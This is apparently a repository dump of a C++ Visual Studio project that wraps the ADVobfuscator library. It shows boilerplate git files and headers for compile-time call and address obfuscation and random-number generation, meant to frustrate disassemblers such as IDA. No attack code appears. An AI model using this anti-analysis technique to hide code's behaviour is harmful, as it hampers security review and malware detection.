├── .gitattributes ├── .gitignore ├── ObfuscationStrings-new.sln └── ObfuscationStrings-new ├── Indexes.h ├── Inline.h ├── Log.h ├── MetaFSM.h ├── MetaRandom.h ├── MetaString.h ├── ObfuscatedCall.h ├── ObfuscatedCallWithPredicate.h ├── ObfuscationStrings-new.cpp ├── ObfuscationStrings-new.vcxproj ├── ObfuscationStrings-new.vcxproj.filters └── Unroller.h /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /ObfuscationStrings-new.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30114.105 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ObfuscationStrings-new", "ObfuscationStrings-new\ObfuscationStrings-new.vcxproj", "{1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Debug|x64.ActiveCfg = Debug|x64 17 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Debug|x64.Build.0 = Debug|x64 18 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Debug|x86.Build.0 = Debug|Win32 20 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Release|x64.ActiveCfg = Release|x64 21 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Release|x64.Build.0 = Release|x64 22 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Release|x86.ActiveCfg = Release|Win32 23 | {1D63BF3C-84D1-48A6-A9ED-3C0E671BE7F4}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {2559327F-32F0-45D9-B777-E95C4A97E121} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/Indexes.h: -------------------------------------------------------------------------------- 1 | // 2 | // Indexes.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef Indexes_h 21 | #define Indexes_h 22 | 23 | // std::index_sequence will be available with C++14 (C++1y). For the moment, implement a (very) simplified and partial version. You can find more complete versions on the Internet 24 | // MakeIndex::type generates Indexes<0, 1, 2, 3, ..., N> 25 | 26 | namespace andrivet { namespace ADVobfuscator { 27 | 28 | template 29 | struct Indexes { using type = Indexes; }; 30 | 31 | template 32 | struct Make_Indexes { using type = typename Make_Indexes::type::type; }; 33 | 34 | template<> 35 | struct Make_Indexes<0> { using type = Indexes<>; }; 36 | 37 | }} 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/Inline.h: -------------------------------------------------------------------------------- 1 | // 2 | // Inline.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef Inline_h 21 | #define Inline_h 22 | 23 | #if defined(_MSC_VER) 24 | #define ALWAYS_INLINE __forceinline 25 | #else 26 | #define ALWAYS_INLINE __attribute__((always_inline)) 27 | #endif 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/Log.h: -------------------------------------------------------------------------------- 1 | // 2 | // Log.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef Log_h 21 | #define Log_h 22 | 23 | #include 24 | #include // [fokede] mingw compatibility 25 | 26 | namespace andrivet { namespace ADVobfuscator { 27 | 28 | // Inspired from work of Martin Stettner and Jimmy J 29 | 30 | struct HexChar 31 | { 32 | unsigned char c_; 33 | unsigned width_; 34 | HexChar(unsigned char c, unsigned width) : c_{c}, width_{width} {} 35 | }; 36 | 37 | inline std::ostream& operator<<(std::ostream& o, const HexChar& c) 38 | { 39 | return (o << std::setw(c.width_) << std::setfill('0') << std::hex << (int)c.c_ << std::dec); 40 | } 41 | 42 | inline HexChar hex(char c, int w = 2) 43 | { 44 | return HexChar(c, w); 45 | } 46 | 47 | }} 48 | 49 | #if (defined(DEBUG) && DEBUG == 1) || (defined(ADVLOG) && ADVLOG == 1) 50 | #define LOG(str) std::cerr << str << std::endl 51 | #else 52 | #define LOG(str) ((void)0) 53 | #endif 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/MetaFSM.h: -------------------------------------------------------------------------------- 1 | // 2 | // MetaFSM.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef MetaFSM_h 21 | #define MetaFSM_h 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #pragma warning(push) 28 | #pragma warning(disable: 4127 4100) 29 | #include 30 | #include 31 | // functors 32 | #include 33 | #include 34 | #pragma warning(pop) 35 | 36 | #include "Indexes.h" 37 | #include "Unroller.h" 38 | 39 | // Code common to our FSM (finite state machines) 40 | 41 | namespace msm = boost::msm; 42 | namespace mpl = boost::mpl; 43 | using namespace boost::msm::front; 44 | 45 | namespace andrivet { namespace ADVobfuscator { 46 | 47 | // Same as void but can be instantiated 48 | struct Void {}; 49 | 50 | // Event template to call a function F with a list of parameters. 51 | // Note: F is passed as value. 52 | template 53 | struct event 54 | { 55 | // Constructor 56 | constexpr event(F f, Args&... args): f_{f}, data_{args...} {} 57 | 58 | // Call target function 59 | R call() const 60 | { 61 | // Generate a list of indexes to extract arguments from tuple 62 | using I = typename Make_Indexes::type; 63 | return call_(I{}); 64 | } 65 | 66 | private: 67 | // When F is returning a value 68 | template 69 | typename std::enable_if::value, U>::type 70 | 71 | call_(Indexes) const { return f_.original()(std::get(data_)...); } 72 | 73 | // When F does not return a value (void) 74 | template 75 | typename std::enable_if::value, Void>::type 76 | call_(Indexes) const { f_.original()(std::get(data_)...); return Void{}; } 77 | 78 | private: 79 | F f_; 80 | std::tuple data_; 81 | }; 82 | 83 | // When function F is returning a value 84 | // FSM: Finite State Machine 85 | // R: Type of the returned value 86 | // F: Function (target) 87 | // Args: Arguments of target 88 | template class FSM, typename R, typename F, typename... Args> 89 | inline R ObfuscatedCallRet(F f, Args&&... args) 90 | { 91 | using E = event; 92 | using M = msm::back::state_machine>; 93 | using Run = typename FSM::template Run; 94 | 95 | M machine; 96 | Run::run(machine, f, std::forward(args)...); 97 | return machine.result_; 98 | } 99 | 100 | // When function F is not returning a value 101 | // FSM: Finite State Machine 102 | // F: Function (target) 103 | // Args: Arguments of target 104 | template class FSM, typename F, typename... Args> 105 | inline void ObfuscatedCall(F f, Args&&... args) 106 | { 107 | using E = event; 108 | using M = msm::back::state_machine>; 109 | using Run = typename FSM::template Run; 110 | 111 | M machine; 112 | Run::run(machine, f, std::forward(args)...); 113 | } 114 | 115 | // Note: It is possible to merge these two members with ObfuscatedCall and ObfuscatedCallRet (by introducing a TruePredicate) but it will make the 1st FSM example more complicated. 116 | 117 | // When function F is returning a value 118 | // FSM: Finite State Machine 119 | // R: Type of the returned value 120 | // P: Predicate (functor) 121 | // F: Function (target) 122 | // Args: Arguments of target 123 | template class FSM, typename R, typename P, typename F, typename... Args> 124 | inline R ObfuscatedCallRetP(F f, Args&&... args) 125 | { 126 | using E = event; 127 | using M = msm::back::state_machine>; 128 | using Run = typename FSM::template Run; 129 | 130 | M machine; 131 | Run::run(machine, f, std::forward(args)...); 132 | return machine.result_; 133 | } 134 | 135 | // When function F is not returning a value 136 | // FSM: Finite State Machine 137 | // P: Predicate 138 | // F: Function (target) 139 | // Args: Arguments of target 140 | template class FSM, typename P, typename F, typename... Args> 141 | inline void ObfuscatedCallP(F f, Args&&... args) 142 | { 143 | using E = event; 144 | using M = msm::back::state_machine>; 145 | using Run = typename FSM::template Run; 146 | 147 | M machine; 148 | Run::run(machine, f, std::forward(args)...); 149 | } 150 | 151 | // Obfuscate the address of the target. Very simple implementation but enough to annoy IDA and Co. 152 | template 153 | struct ObfuscatedAddress 154 | { 155 | // Pointer to a function 156 | using func_ptr_t = void(*)(); 157 | // Integral type big enough (and not too big) to store a function pointer 158 | using func_ptr_integral = std::conditional::type; 159 | 160 | func_ptr_integral f_; 161 | int offset_; 162 | 163 | constexpr ObfuscatedAddress(F f, int offset): f_{reinterpret_cast(f) + offset}, offset_{offset} {} 164 | constexpr F original() const { return reinterpret_cast(f_ - offset_); } 165 | }; 166 | 167 | // Create a instance of ObfuscatedFunc and deduce types 168 | template 169 | constexpr ObfuscatedAddress MakeObfuscatedAddress(F f, int offset) { return ObfuscatedAddress(f, offset); } 170 | 171 | }} 172 | 173 | #endif 174 | -------------------------------------------------------------------------------- /ObfuscationStrings-new/MetaRandom.h: -------------------------------------------------------------------------------- 1 | // 2 | // MetaRandom.h 3 | // ADVobfuscator 4 | // 5 | // Copyright (c) 2010-2017, Sebastien Andrivet 6 | // All rights reserved. 7 | // 8 | // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | // 10 | // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | // 12 | // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 13 | // 14 | // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 17 | // 18 | // Get latest version on https://github.com/andrivet/ADVobfuscator 19 | 20 | #ifndef MetaRandom_h 21 | #define MetaRandom_h 22 | 23 | // Very simple compile-time random numbers generator. 24 | 25 | // For a more complete and sophisticated example, see: 26 | // http://www.researchgate.net/profile/Zalan_Szgyi/publication/259005783_Random_number_generator_for_C_template_metaprograms/file/e0b49529b48272c5a6.pdf 27 | 28 | #include 29 | 30 | namespace andrivet { namespace ADVobfuscator { 31 | 32 | namespace 33 | { 34 | // I use current (compile time) as a seed 35 | 36 | constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time 37 | 38 | // Convert time string (hh:mm:ss) into a number 39 | constexpr int DigitToInt(char c) { return c - '0'; } 40 | const int seed = DigitToInt(time[7]) + 41 | DigitToInt(time[6]) * 10 + 42 | DigitToInt(time[4]) * 60 + 43 | DigitToInt(time[3]) * 600 + 44 | DigitToInt(time[1]) * 3600 + 45 | DigitToInt(time[0]) * 36000; 46 | } 47 | 48 | // 1988, Stephen Park and Keith Miller 49 | // "Random Number Generators: Good Ones Are Hard To Find", considered as "minimal standard" 50 | // Park-Miller 31 bit pseudo-random number generator, implemented with G. Carta's optimisation: 51 | // with 32-bit math and without division 52 | 53 | template 54 | struct MetaRandomGenerator 55 | { 56 | private: 57 | static constexpr unsigned a = 16807; // 7^5 58 | static constexpr unsigned m = 2147483647; // 2^31 - 1 59 | 60 | static constexpr unsigned s = MetaRandomGenerator::value; 61 | static constexpr unsigned lo = a * (s & 0xFFFF); // Multiply lower 16 bits by 16807 62 | static constexpr unsigned hi = a * (s >> 16); // Multiply higher 16 bits by 16807 63 | static constexpr unsigned lo2 = lo + ((hi & 0x7FFF) << 16); // Combine lower 15 bits of hi with lo's upper bits 64 | static constexpr unsigned hi2 = hi >> 15; // Discard lower 15 bits of hi 65 | static constexpr unsigned lo3 = lo2 + hi; 66 | 67 | public: 68 | static constexpr unsigned max = m; 69 | static constexpr unsigned value = lo3 > m ? lo3 - m : lo3; 70 | }; 71 | 72 | template<> 73 | struct MetaRandomGenerator<0> 74 | { 75 | static constexpr unsigned value = seed; 76 | }; 77 | 78 | // Note: A bias is introduced by the modulo operation. 79 | // However, I do belive it is neglictable in this case (M is far lower than 2^31 - 1) 80 | 81 | template 82 | struct MetaRandom 83 | { 84 | static const int value = MetaRandomGenerator::value % M; 85 | }; 86 | 87 | }} 88 | 89 | #endif 90 | -------------------------------------------------------------------------------- 